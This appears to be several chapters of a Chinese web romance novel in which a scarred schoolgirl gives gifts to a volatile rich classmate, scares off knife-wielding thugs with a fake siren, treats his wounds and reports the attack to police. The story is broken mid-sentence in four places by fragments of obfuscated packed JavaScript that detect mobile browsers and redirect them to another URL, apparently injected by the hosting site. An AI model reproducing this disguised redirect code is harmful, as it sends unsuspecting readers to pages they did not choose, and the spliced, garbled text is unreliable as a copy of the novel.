篮球场上十来个高大的背影在那儿运球投篮,边野一身黑色球衣,明明混在人堆里,却很突出,离这么远也能感觉到一股子野性。 傅诗语的目光追随着他的身影。 上回虽然被下了面子,但边野以及边家都对她有着巨大的吸引力,更何况边野从来没有公开说过自己有女友,无数女生前仆后继,太容易接近反而不正常。 她看着篮球场上的那个背影,心里甜滋滋的。 至少上回在别人眼里,边野没有拒绝她,她很享受那些女生羡慕的眼神。 “诗语,咱们过去打个招呼吧?”一旁的女生有些激动,这种风云人物可不是随时都能见到的。 傅诗语刚想点头,就注意到篮球场边还有两个女生。 她脸色一变,范静宜她可惹不起,“下次吧,我今天得早点回家。” 女生惋惜了一瞬,离开时连连回头。 姜栀倒是没有犹豫,直奔篮球场。 她可是有任务在身的。 边野一套行云流水地抢球动作后,丢给了宋言旭,结果宋言旭诡异地没接住,篮球擦手而过,砸向了后方。 宋言旭回头一看,瞪大了眼睛,“我.靠!” “妹妹快躲开!” 等姜栀反应过来,已经来不及了,篮球直奔她面门。 心脏漏跳一拍,她紧张地下意识用手去挡。 边野脸色一沉,抓过范静宜手里的矿泉水,果断朝着篮球砸过去。 “哐当”一声,有什么东西撞击了一下,擦着姜栀耳边飞过。 两秒后,她听到两道不齐的落地声。 “妹妹,你没事儿吧?”宋言旭回过神,连脸上的汗都顾不得擦就跑过去。 姜栀白着脸摇摇头。 她回头看了眼,篮球已经滚向远处,地上还有一瓶矿泉水。 “真不好意思啊妹妹,我刚没看准球,差点砸到你。”宋言旭尴尬地挠头,“还好野哥技术高超,不然这会儿我都得送你去医院了。” 姜栀一愣,看向篮球场里神色懒淡的边野,像是压根没把这事儿放在心上。 她摇头安慰了下宋言旭,随后才朝他走过去。 “刚刚谢谢你呀。”她声音软软的,在微微起伏的风里带着甜而不腻的味儿。 边野睨她一眼,一声没吭地往休息区走。 姜栀习惯了他这样,乖乖地跟在后面。 被落在篮球场上的范静宜咬着牙关,看她背影的眼神逐渐暗下来。 她还真是小瞧了这个丑八怪,确实有胆量,竟然敢一而再再而三地接近边野,当她是摆设吗?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236980|166147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一贯跟在她屁股后面的小跟班徐颖不满道:“静宜,你就这么看着这个丑八怪勾引边少吗?” 范静宜冷笑,“那也得有这个本事。” 边野往休息区台阶上随意一坐,双腿惫懒得搭在下面,他五官锋锐透着野性,即便模样散漫,也有点淡冷的凶意。 他不说话,姜栀就主动开口,“我今天是来给你送东西的。” 边野挑眉,静等下文。 她从书包里拿出那个黑丝绒盒子,琥珀色眸子在天边余晖里很动人,“过几天就是你的生日了。” 边野看向她手中的盒子,竟莫名想知道里面是什么。 真是奇了怪。 “所以?”他抬眸看她,情绪依旧平淡。 姜栀把盒子递过去,“这是……”她刚想提边叔叔,话到嘴边还是咽了回去,“这是给你的生日礼物。” 怕他不接,她直接把东西塞到他身上。 边野低眸瞥了眼,漫不经心地叩开盒盖。 一只做工精美的手表躺在里面,价值少说百万。 他刚想问点什么,有风徐徐吹过,带着一股香水味钻进鼻子里,搅起一番恶心的回忆。 一瞬间,边野神色冷下来,眉眼间刺人的戾气迸发而出。 没有任何犹豫,他把手表连带盒子狠狠砸进了垃圾桶。 扔得又准又猛,摔了个稀碎。 场面过于惊人,姜栀呆了几秒才反应过来,“你……你干嘛扔呀?” 她不可思议地看着他,心急地朝垃圾桶跑过去。 边野眼底泛起狠意,声音阴沉,“你敢捡试试。” 她被他的反应吓了一跳,“可这是你的生日礼物。” 边野一步一步逼近她,像山林里喜好嗜血的野兽,受了伤也不在意流不流血,“谁让你多管闲事的?” 姜栀眼睫颤动,明白他已经看出来这是谁送的,紧张地捏着书包带子,“边叔叔他很关心你,所以才拜托我给你带礼物的。” “你算他什么人,你又算我什么人?”他压着眉,凶猛得像是要吃人。 姜栀咬咬牙,深吸一口气,紧盯着他漆黑的瞳孔,“你为什么总是在拒绝别人的好意?” “边叔叔好心为你准备礼物,你可以不要,为什么要毁掉?” 她真的有点儿生气,哪怕害怕,还是一鼓作气地说完了,“你到底是没有心,还是仗着自己姓边,不把所有人放在眼里?” 气氛沉寂,只余风声。 宋言旭咽了口唾沫,忍不住为她捏了把汗。 我滴个小姑奶奶,你知道你在说什么吗? 范静宜和小跟班在一边幸灾乐祸地看戏。 姜栀一口气说完,才觉得自己莽过头了,心脏咚咚直跳,手心也渗出了细汗。 万一……万一给他惹急了,他会不会打她啊。 边野盯了她数秒,眼底情绪来回翻涌,最终只是讥讽一笑,“是,我就是这种人,你满意了吗?” 她眼睫颤了颤,没想到他说出这么一句。 下一秒,少年高大的身影像褪去的乌云,从她眼前冷冽地抽离。 8. 第 8 章 直到周六,姜栀坐公交去医院时,那股沮丧的情绪还是挥之不去。 她失神地看着窗外倒退的风景,脑子里都是边野自讽的模样,像一块沉甸甸的石头压在心口。 她怎么又把事情搞砸了。 如果边叔叔知道那份礼物…… 姜栀惆怅地拍拍脑门,让自己别想了。 到了医院,她见到了那位老专家。 七十来岁的年纪,两鬓斑白,脸上皱纹堆积,沉淀着岁月的痕迹,但面容慈祥,气质亲和。 她摘了口罩,脸上的伤疤一览无余,却并未慌乱和不自信,平静得像只是来看个小病。 周医生多少有些诧异,这个年纪的小姑娘正是爱美的时候,但她自揭伤疤竟然能做到如此坦然。 “伤口确实不浅,”他看着那些交错狰狞的伤疤,难以想象一个十几岁的小姑娘是怎么撑过来的,“但你运气不错,医院恰好引进了一批新药物,效果好的话,用不了多久,伤疤就能修复。” 姜栀弯了弯眼睛,脸上虽有伤疤,却遮挡不住周身洋溢出来的光彩,“谢谢您。” 乖巧温软又懂礼貌。 周医生看在眼里,心中忍不住感叹,也不知道这孩子的父母是什么样的人,将她教养得这么好。 他的小孙女跟她差不多大,却一天到晚就知道四处潇洒,跳脱得厉害,要是有这姑娘一半懂事他都欣慰。 假以时日,她的脸好了,怕是要引来一群蜂蝶。 周医生心中想着,眼里又溢出几分慈爱来。补充了点注意事项后,姜栀就被带去放疗室,等到结束已经快中午。 因为上次放学爽了池念的约,这回她再约,姜栀便答应了。 碰面后,陪着池念在书店逛了一下午。 这时节,太阳下山早,天刚黑下来,她就被池念拉着去吃晚饭,“淮河巷那边有个特别好吃的螺蛳粉,听说味儿特正,上次没吃成糖水铺,这回一定要陪我去吃。” “好。”姜栀无奈一笑。 淮河巷离这儿两站公交的距离。 姜栀是第一次来这儿,远远看着像个胡同,房屋砖瓦都带着年代感,路口灯笼早早亮起。 “这是条小路,咱们从这儿穿过去会比大路近很多。”池念兴高采烈地拉着她往里走。 巷子里灯光昏昧,走的人很少。 拐过两条小巷,经过巷口时姜栀意外看到左手边里侧聚着一群人,乌泱泱的,也不知道在干什么。 她没在意地往前走,只是没几秒,忽然停住脚步。 池念不解地看她,“怎么了知知?” “等等……”姜栀回头看向刚刚经过的巷口,神色狐疑。 她怎么好像听见了边野的声音? “你在这儿等我一下。”姜栀叮嘱完,放轻步子往回走。 摸着胡同墙壁到了巷口,小心翼翼地探出一双眼。 黑灯瞎火的巷子里,五个染着各色头发、流里流气的社会青年嚣张狂妄地杵在那儿,为首的是个黄毛,露着两个大花臂,手里转着一把刀。 “小子,好赖话听不懂是不是?老子让你滚,你要是敬酒不吃吃罚酒,别怪哥几个给你点终生难忘的教训!” 看到那把刀,姜栀呼吸都紧涩起来。 边野背对着她,她看不见他正脸,只能听到他浑不在意的嗓音,充斥着戾气与藐视,“一起上,杂种。” “草!干.他!” 一声怒吼,一群人迅速扭打在一起。 混乱凶险。 姜栀瞪大了双眼,紧张地能听见自己的心跳声。 “知知,咱们赶紧走吧,我感觉好危险!” 池念突如其来一声催促,吓得她险些惊叫出声,悄悄缩回了脑袋。 姜栀向来是个乖乖学习的好学生,和边野接触都已经超出她的范围,更别说撞见社会混混打架。 见她沉默不语,池念低声劝:“我看那些人手里可有刀,肯定是动真格的,咱们还是快走吧,要给他们发现,说不准我们也要遭殃。” “嗯……”姜栀犹豫了下,还是摇摇头,“边野在里面。” 池念有点儿震惊,但想到他平时就比较混账,又觉得也合理,她不解道:“你该不会想帮他吧?” “我不能见死不救。”万一真出事了怎么办。 姜栀面露愧疚,“对不起啊,我又不能陪你去吃饭了。” “你……”她呆住,乖乖,边野这么大魅力吗,上回不还说不喜欢人家吗,这才多久啊,就给她的学霸同桌都迷成这样了? 池念不理解,但她尊重,谁的青春期还没有个暗恋的少年了。 “那我们要怎么救啊?要不然报警吧?”池念一脸愁云,急忙摸出自己的手机。 姜栀摇头,“报警肯定来不及的。”等警察到了,这些人一定都跑完了。 “你把他们录下来。” 池念听话地打开录像模式,悄咪咪对准那些人。 刚录没一会儿,她脸色猛然一白。 “杀杀杀……杀人了!”池念迅速躲回来,结结巴巴地抓着姜栀,满脸惊恐。 姜栀心底咯噔一声。 光线很暗,她隐约看到黄毛手里的刀染了血。 看来边野八成是被伤到了。 紧急之下,她拉着池念躲起来,“刚刚录的保存了吗?” “保存了。” 姜栀拍拍她肩膀,借过她的手机,“别怕,你先在这儿躲着,千万不要出来。”说完头也不回地出去。 “知——”池念惊恐地下意识想喊,迅速捂住自己的嘴。 没事的没事的,知知一向聪明,一定会平安的,她不能拖后腿添麻烦。 姜栀猫到路口对面的巷子里,找了份警车鸣笛的音频,硬着头皮大喊:“警察来了!” 原本还在扭打的几个社会混子听到警车鸣笛和喊叫声下意识慌了,边野粗略地擦了把嘴角的血,一拳狠狠打在黄毛脸上,直接打落他一颗牙。 “不是横吗,这就怕了?没这个本事就滚。” 他讥讽扯唇,眼里满是戾气。 “哥。”黄毛身后的几个小弟有点担心。 黄毛被激得情绪上脑,“今天谁来都没用,给老子弄他!” 几个人一拥而上,下一秒警车鸣笛声变响。 白毛小弟惊恐地看向外面,“哥,要不然咱还是撤吧,咱上次可是关了……” “闭嘴!”黄毛咬牙切齿,狠狠瞪了一眼边野,“你给老子等着,这笔账没完!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236981|166147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “走!” 这群人一散而光。 姜栀听见动静立马掐了声音,紧张地等着。 直到听见缓慢的单人脚步声,她才小心翼翼露头。 昏暗的巷子里,少年高大的身影映入眼底,背对着她往外走,很快融进黑夜里。 姜栀回过神来,赶忙回去找池念,把手机还她,“这份录像你一定保存好,千万别删。” 池念小鸡啄米似的点头,轻声问:“知知,那群人是不是走了?” “嗯,别怕。”她有些愧疚,“对不起啊,这次不能陪你去了,我还要去看看边野。” 池念被吓坏了,但还是叮嘱她:“你快去吧,注意安全。我叫我爸来接我,别担心。” “好。” 姜栀感激地点点头,没有多做停留,朝着边野离开的方向追出去。 - 边野坐在街边的石凳上,头发有些乱,一身黑皮衣被划了好几个口子。他垂着脑袋,点了根烟,烟味和嘴里的血腥气含混在一起。 周身一股子冷恹感,像极了不良少年。路过的人好奇地看他一眼,随后快速走开。 姜栀找到他的时候,边野已经点起第三根烟。 有那么一瞬,她觉得他很像丧家之犬,落魄到无处可去,只能自己舔舐伤口。 她平复了下气息,走过去。 离得近了,姜栀闻到呛鼻的烟味,生理性咳了一声。 路灯将她的影子落下来,覆盖了他一半。 边野恍若未见,头都没抬,修长的手指掸了掸烟灰,平稳地落在脚边。 他嘴角青紫,手背上被划破的伤口还在渗血,整个人透着生人勿进的戾气。 姜栀担心刺激到他,声音软下来,像羽毛蹭过脸颊,“这儿离医院很近,我陪你去处理下伤口吧,感染会不舒服的。” 边野垂眼看着猩红的烟头缓慢地向前燃烧,嗓音低沉,“我的事不用你操心。” 姜栀想到了会被拒绝,但不管是出于黎姨还是奶奶,她都不能不管他。 抬头张望了下四周,看到马路对面的药房,她轻声叮嘱:“你在这等我一会儿,我很快就回来。” 听到离开的脚步声,边野淡嗤了一声。 走就走,找什么理由。 摸到烟盒里最后一根烟,他叩开火机点燃,不慎扯到嘴角,一阵钻心的刺痛,却连眉头都没皱一下。 吹了会儿风,边野捻灭烟头丢进垃圾箱,起身大剌剌地离开。 丝毫不在意自己这副模样引来的怪异眼神。 “边野!” 忽然,一道清亮柔软的女声从不远处传来,他脚步一顿。 “边野等一下!” 姜栀自马路对面看到他起身离开,便急地一路小跑。 像一粒石子砸进平静的湖面,边野鬼使神差回了头。 柏油马路上灯光明亮,那道朝他一路奔来的娇小身影像欢快的光影跳跃在黑夜里。他看见那双琥珀色眼眸,透亮得如同盛了一夜星点。 一声尖锐的鸣笛突然响起,远处驶来的黑色轿车朝着她直冲而来。 快到根本刹不住。 “姜栀!” 边野眉头紧拧,心脏一瞬高悬。 9. 第 9 章 姜栀也被吓到,在与死神擦肩的瞬间,猛地往后退了两步。 那辆黑色轿车几乎是擦着她开过,车主人气急败坏,“走路不看路啊!两只眼睛长着干什么的!” 她僵硬地站在中心花坛边,心有余悸,后背冒出冷汗。 前世那种濒死感重现,她有点喘不过气。 看到她没出事,边野竟有种劫后余生的松快,只是脸色依旧不好看。 沉默了一会儿,他走回去重新坐在了那个石凳上。 习惯性地去摸口袋里的烟,摸了个空才想起来,刚刚那会儿就已经点完了。 姜栀走过来的时候,发现他的脸色比之前还冷,好像随时都会发脾气。 “你刚刚是叫我了吗?” “没有。”边野没好气地回。 “哦……”那看来是她当时太紧张听错了。 安静地坐在一边,她把袋子里的药物一样样拿出来,“不想去医院就不去,但伤口要包扎的。” 想到刚刚那个危险的场面,边野眼神凉凉,神色不快,“你是蠢吗?” 为了这点不值钱的东西,差点死在路上。 莫名挨了一句,她蹙了下眉。 论笨,他们之间怎么也轮不到她吧? 姜栀心中轻叹,算啦,他刚打完架一定心情很不好,就当没听见好了。 她把棉签蘸好碘伏递给他,像哄幼儿园小朋友那样温柔,“把这个涂在伤口上,我给你扯纱布。” 边野拧眉,“拿走,麻烦。” 他脸上是明晃晃的嫌弃,姜栀只好先把纱布放回去,轻声道:“你可以不在意,但如果奶奶知道,一定会心疼的。” 边野淡漠地盯着她,“所以?” “……我没有要威胁你的意思,”她赶忙为自己澄清,“我只是觉得奶奶也会希望你平平安安。” “多管闲事。”边野收回眼神,脸色淡淡。 就当她多管闲事好啦。 姜栀拿着棉签出声试探,“那我帮你包扎,你别动,很快的。” 没见他反驳,悬着的心悄悄放下。 怕弄疼他,她一边涂一边轻轻吹气。 凉意缓缓袭来,像羽毛似的在手背上扫着。边野低眸看她,少女脖颈纤细白皙,浓密黑长的睫毛轻缓地动着,落下一片剪影。 一片沉静中,他忽然开口:“那声警察来了,是你喊的?” 姜栀动作轻柔地卷着纱布,没否认,“我看他们有刀,怕你出事。” 她没抱多大希望,只想试图给他一点喘息的时间。如果那群人聪明点,就能发现破绽。 “不自量力,就不怕他们抓到你?”边野眸色嘲弄,“我可不会救你。” 姜栀打了个完美的蝴蝶结,“我当时没想那么多。”她抬头去看他,少年眉眼间的戾气似乎消散了些,“总之现在的情况还不差,不是吗?” 边野轻皱了下眉头,有点气笑。 黎女士领她来的时候怎么不带去医院检查下脑子。 “你别动,容易扯着嘴边的伤口。”姜栀拿出药膏,“转过来一点,我给你上药。” 边野冷着脸拧了下眉,明明觉得她麻烦得要死,却还是转过去任她摆弄。 “这个药是消肿的,涂几天就能好。”姜栀用棉签蘸着白色药膏,一点点涂抹在他嘴角边。 离得近,边野能闻到她身上清浅的香气。 他静静看着她,视线一寸一寸逡巡。 那只口罩遮住了大半张脸。 曾在黎女士第一次去医院看她的时候,他就见过一次,那时候她刚从车祸里幸存下来,一张脸血肉模糊,但他并不觉得丑陋。 打最开始不喜欢她,就只因为黎女士。 姜栀一边涂一边柔声劝:“以后还是不要打架了,那些人他们下手没有分寸的,不管伤到哪里不值得。” 她说起话来像温和的轻风,轻而易举抚平了烦躁。 边野移开视线,“你懂什么。” 她心里低叹一声。学校里曾传他打架是一等一的狠,不要命的打法。之前和高年级的一个男生因为不和打过一架,差点给人送上天。 这不伤人伤己么。 姜栀小声嘀咕:“弄一身伤多疼。” 边野没有回应,似乎是没听见。 给他处理完伤口,姜栀把药物都收进袋子里,边野瞥了眼,起身摸出车钥匙往前走,“过来。” 姜栀打好结,赶紧小跑着跟上。 “哎小伙子!” 安静的夜里,一道浑沉颤巍的声音从侧方传来,火急火燎的。 边野瞧了眼,认出是之前那个老太,停了脚步原地等她。 “小伙子,我就想着回来碰碰运气,没想到还真给我碰着了。”老婆婆手里拎着一袋子鸡蛋,很热情地往他怀里塞。 “这是家里自己养的鸡生的,很营养的。” 姜栀惊奇地看着。 “不用,您拿回去。”他声音温沉,收敛了先前那副冷淡模样。 看到他脸上的伤和被划破的衣服,老婆婆很是过意不去,“小伙子,多亏了你啊。”她从腰间拿出一个红色塑料袋,里面一层又一层的包裹,直到最后才露出一沓纸币。 “我老婆子没什么积蓄,这些你先拿着,去医院做做检查,要是不够再来找我,我就住在前面那个巷子。是我连累你了。”说着,眼眶忍不住红了。 边野把钱和鸡蛋都推了回去,“我帮您是自愿。” 老婆婆直摇头,“那哪儿成啊,要不是你帮我,我怕是要被那群人打进医院。” 姜栀这会儿算是听明白了,“是刚刚巷子里那群人吗?” 老婆婆眼含热泪,不住地点头,“我就是去看我女儿,想抄个近路,谁承想就被那些畜生盯上,非说我撞了他们的人,要我赔十万,我不给钱,他们就要打断我的腿。” 气愤心疼老婆婆之余,姜栀还有些怔忪。 所以他是见义勇为才跟人打架的吗? 老婆婆再三感谢,要把鸡蛋塞给他。 她知道他的性子,就从里面取出一个,“婆婆,这一个就当作谢礼了,剩下的您拿回去,这么晚了,快回家吧。” 见他们坚持不拿,老婆婆擦了擦眼角的泪,心里暖融融的,“好孩子,谢谢,谢谢……” 看着老人家佝偻的背影,姜栀胸口酸酸的。 “还不走?” 低沉的声音传来,她才发现边野已经离他有一段距离了。 上车后,姜栀看着手里的鸡蛋,指腹轻轻摩挲。 什么也不说,任由别人曲解吗?如果不是遇到老婆婆,她应该就误会他了。 她偏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236982|166147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头去看他,夜晚路灯的光影一重又一重,映得少年五官半明半昧。 好像,他也没有那么混账。 “我脸上有字?” 边野懒淡出声,又恢复了从前那副散漫不驯的模样。 她摇摇头,垂眸看着手里的鸡蛋,圆滚滚的,手感不错。 想到他的伤,姜栀从书包里取出笔和便利贴,把换药次数和时间都记在上面。 二十分钟后,车停在边家门口。 姜栀有些惊喜,“你今天是回来住吗?管叔知道一定会很高兴的。” 边野冷嗤,“谁说我要回去?” 姜栀呆了下。 边野淡漠地瞥她一眼,“下车。” 她没敢多话,抱着书包下去,关车门前还是叮嘱了句:“怎么换药我都写在上面了,你记得按时换。” 边野看了眼副驾驶上她留下的袋子,脸色淡淡。 “还有——”姜栀声音轻轻,“好之前就别回老宅了,奶奶看见会担心的,我也会帮你保密。” 她关上门,眼睛弯弯,“今天谢谢你送我回来呀。” 边野散漫地移开视线,“自作多情。” 脚下油门一踩,飞驰着离开。 - 隔天,姜栀约了池念一起去警局。 临近门前,池念有些迟疑,“知知,要不还是算了吧,那些人都是社会上混的,万一知道是我们报的案,报复我们怎么办?” 姜栀望着警局的标徽,脑海里浮起昨晚凶险的场面,还有那个善良的老婆婆,沉思了两秒,“那你在附近等我,我去报案。” 昨天是边野恰好遇到,伸手救了那位老人,如果他没遇到呢……姜栀不敢想象。 如果因为怕危险而不去做正确的事,那还会有正义吗。 “不行。”池念摇头。 看着里面来来往往穿着警服的人员,她咬了咬牙,“我、我陪你一起。” 姜栀眼眶一热,握着她的手走进去。 面对一身正气的警察,她声音很稳:“警察同志,我要报案。” 案情了解得很快,加上提供的视频,警察很快就做好记录。 “感谢两位小同学切身维护社会治安,我们会尽快抓到人。” 两人礼貌地回应后,相伴走出大厅。 池念挽着她,有点儿怅惘地问:“你说警察什么时候能抓到那群坏人?” 姜栀摇摇头,“不知道,但我们要相信他们。” “嗯,你说得对!”她晃晃脑袋,“报了就不想这事儿了。” 同一时刻,马路斜对面,两个打扮靓丽的女生正在等车。 “静宜,那不是那个丑八怪吗?”小跟班徐颖眼尖,胳膊肘轻轻碰了碰范静宜。 范静宜百无聊赖地将目光从新买的手镯上收回,看向徐颖所指的方向,一瞬认出。 还真是。 “她们怎么会从警局里出来?”徐颖不得其解地嘀咕。 她眼神轻蔑,“谁知道呢。” 范静宜嘴上这么说,心里却也觉得有点儿奇怪。 这丑八怪虽然长得不行,但她也听说过她是个学霸,一心只知道死读书的书呆子怎么会跟警局扯上关系,难道是出什么事儿了? 她看了眼警局,又将视线落在逐渐远去的姜栀身上,细细摩挲。 10. 第 10 章 周五这天,辩论赛的培训老师请了假,姜栀时间空出来,决定和池念弥补一下上次没吃成的饭,结果一放学就被宋言旭热情邀请去边野的生日派对。 实在推脱不过,她只好答应。 派对办在郊区的温泉山庄,到的时候,天还没完全黑。 暖黄的地灯从山脚下一路延伸到半山腰,偌大的连排别墅灯光璀璨,酒杯摆台,茶点琳琅满目,一应设施应有尽有。奢豪之风扑面而来。 和她一起来的池念站在门口,双目圆睁,惊得说不出话来。 妈耶,这也太有钱了吧,她还只在电视上看过这阵仗呢。 “派对还没开始,你们要是饿了就拿点自己喜欢吃的先垫垫,别紧张,把这儿当自己家。”宋言旭外向自来熟,热情阔气。 上次鹤加山他算是看出来了,这妹妹对他们野哥那是情深不悔啊,遭老罪了。他也不知道野哥喜欢啥样的,反正不是范静宜那样的。 再说了,他也看不上那范静宜,心眼子太多了,这妹妹虽然脸不能见人,但性子乖巧,说话也让人舒服。 他就做次菩萨,帮帮她。 “嗯。”姜栀温声应下,有池念陪着不算拘束。 见有人过来喊宋言旭,她轻声道:“我们自己待着就好,你先去忙吧。” “成,有事叫我啊!” 宋言旭大大咧咧地挥了把手,忍不住又感慨一番,这妹妹性格真好,又乖又软。 过来找他的张柯看到姜栀,眼神怪异,架着宋言旭肩膀边走边问:“旭哥,你怎么把她带来了?野哥明显不喜欢她啊。” 他斜睨一眼,“你懂个屁。” 张柯回头看了眼与他们这群人格格不入的姜栀,摇摇头,觉得宋言旭真是瞎搞。 先不说野哥,就是范静宜看见,不也得生气吗。 宋言旭走远后,两人找了个角落坐下。 池念看花了眼地盯着那些穿着礼裙的女生们,戳了戳姜栀,“她们穿得好隆重啊。”不像她俩,穿着个校服就来了。 姜栀倒是不在意,温软一笑,“你不觉得这些小吃更能吸引注意力嘛?” 大馋丫头嘿嘿一笑,“那倒是!” 池念挖着小蛋糕,忽然有点儿不好意思,凑过去问:“知知,咱都没准备生日礼物,在这儿蹭吃蹭喝,寿星会不会有意见啊。” 姜栀下意识摇头,“应该不会。” 那晚那样危险的情况下他都愿意帮老婆婆出头,没要谢礼,这种小事或许都不会放在心上吧。 “?”福尔摩念双眼微眯,审视她,“小知知,你不会偷偷准备了吧?” 她不擅长撒谎,点了点头。 上次为边叔叔转交礼物没成后她就一直耿耿于怀,只是她准备的并不贵重,也不知道边野会不会也当着她面丢掉。 池念感叹一声,果真是少女怀春,上回还说不喜欢呢。 提到礼物,姜栀环视一圈,思来想去还是觉得最好提前送,免得在大家面前闹出笑话,惹他不开心。 “我想先去找下边野,你一个人在这儿可以吗?” 池念一脸姨母笑,“快去快去,我可以得很!” 她刚起身想去找宋言旭问问,就见他远远走过来,肩上搭着件黑衣服。 “妹妹,求你个事儿呗。”姜栀还没开口,他先说上了,“我这会儿走不开,野哥让我给他送个外套,搭把手呗。” 她本就要找边野,顺手的事自然不会拒绝,“我没看到他。” 宋言旭心中一乐,他就知道把人带来是对的,面上却还是一本正经地给她指路,“三楼东边最里面那间看见没?” 她顺着方向看过去,点了点头。 “野哥就在那,去吧妹妹。”宋言旭笑眯眯的。 姜栀觉得他有点怪怪的,但又说不上来,伸手接过衣服。 连排别墅的廊灯常亮,有种璀璨的华丽。 里面客厅偌大,四面都有房间,长廊互相连接,姜栀带着外套找到了宋言旭所指的那间。 房间门没完全关上,漏了条缝,能看见里面暖黄的光。 她伸手轻轻敲了敲,门受力开了点,却没人应。 正要再敲,冷淡不耐的嗓音传来,“谁?” “是我。” 姜栀推开门,敞亮的光线里,少年穿着黑色短袖,露出健壮的手臂,懒散地靠在沙发里。冷厌的脸上透着倦意,双眼惺忪,像是刚睡醒。 她心底咯噔一下,是不是把人吵醒了…… “抱歉,我不是故意想打扰你的。”她声音很轻,柔软得令人生不起气来。 边野睡到一半被吵醒的戾气莫名消散大半,目光淡淡地睨了一眼。 她就这么乖乖巧巧地站着,手里抱着个外套,还是他的。像个温顺的兔子。 他懒懒掀起眼皮,声音低沉,“你来干什么?” 姜栀以为他潜台词是问怎么来的不是宋言旭,毫无知觉地将人暴露了,“我有事儿找你,他说你要衣服,我就一起带上来了。” 说着将外套放在他旁边,“晚上有点凉,你别冻感冒了。” 边野瞥了眼外套,面色淡淡。 昨晚熬了个通宵,他在这儿补觉,让姓宋的看着点,别让人上来吵他,什么时候说过要衣服了? 这么看,她来温泉山庄也是宋言旭干的。 “找我什么事?”他幽黑的瞳眸看着她,脸上没什么表情时就显得凶巴巴的。 姜栀接触得久了,没一开始那么怕。她从书包里翻找出一个巴掌大的方体小盒子,忐忑地递过去,“生日礼物,这回是我自己买的。” 头顶灯光明亮,映得那只手白皙如玉。 他视线落在盒子上,不是什么贵重材质,甚至可以说是他二十几年来见过的最廉价的东西,连包装都算不上精致。 “所以?”他掀起眼皮看她,也不接。 姜栀想起上次那份被毁的礼物,神色诚恳,“如果它能换你开心就很值呀。” 半晌,边野轻哼一声。 不是学霸吗,在他这儿一次又一次地碰壁还吃不到教训么。 姜栀以为他嫌弃,心里泄了口气,眼睫垂落着收回手,掌心忽的一空。 “送出去的东西还有拿回的道理?” 边野嗓音轻漫,当着她的面拆了盒子。 一个做着鬼脸的Q版人物摆件躺在盒子里,他盯着看了会儿,低声嘲讽,“你倒是会挑,这种丑东西也敢送?” 姜栀有点儿尴尬,“你要是不喜欢的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236983|166147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 她话还没说完,就见他把摆件拿出来放在手里把玩。 “东西是丑了点,但我这儿也不是让人白吃白喝的,就当个门票。”边野脸上透着嫌弃,却没扔掉。 姜栀心里升起浅浅的喜悦。 她大着胆子趁热打铁又拿出一样东西,半是期待半是忐忑道:“这个……也送你。” 透明的包装纸下是崭新的学习资料,几乎是瞬间,边野眉眼冷下来,“老子需要这东西?” “我想着你无聊的时候可以随便看看……” “你好日子过多了?”边野冷淡地打断她,眉头拧起。 姜栀摇摇头,迅速闭嘴。 算啦,至少这次没把她的东西丢掉,总有希望的。 她乖乖把学习资料塞回了书包。 “对不起呀,你别生气。”反正顺毛捋就对了。 姜栀声音轻软,琥珀色瞳孔在灯光的映照下清浅透亮。 他眉头舒展了一瞬,心底却转而冒起说不上来的躁意。 让干嘛就干嘛,呆死了。 他冷着脸捞起外套起身就走。 走远了才发现姜栀还站在原地,没好气地蹙眉,“还不走?” “……哦。”她把书包背好,乖乖跟上。 少年脊背宽阔,高挺的身影被光线拉长。 姜栀隔着他两步距离,踩着他的影子往前走。 - 楼下,一堆人正在那儿玩真心话大冒险,欢呼雀跃,气氛热烈。 有眼尖的看见边野下来,挥了挥手,“野哥快来,就等你了!” 这一喊,所有人都看过去。 边野个子高,肩宽体阔地走在前面倒是将身后的姜栀正好挡住。 几个期待已久的女生姿态矫揉地站起来,纷纷掐着嗓子喊“边少”。 其中属范静宜最热情殷切,“野哥,你休息过后身体好点儿没,我们都很担心你。” 被边野挡在身后的姜栀愣了下,他不舒服吗?那她刚刚把人吵醒没被丢出去真是万幸…… 边野刀了眼人群中的宋言旭,一脸敷衍,“嗯。” 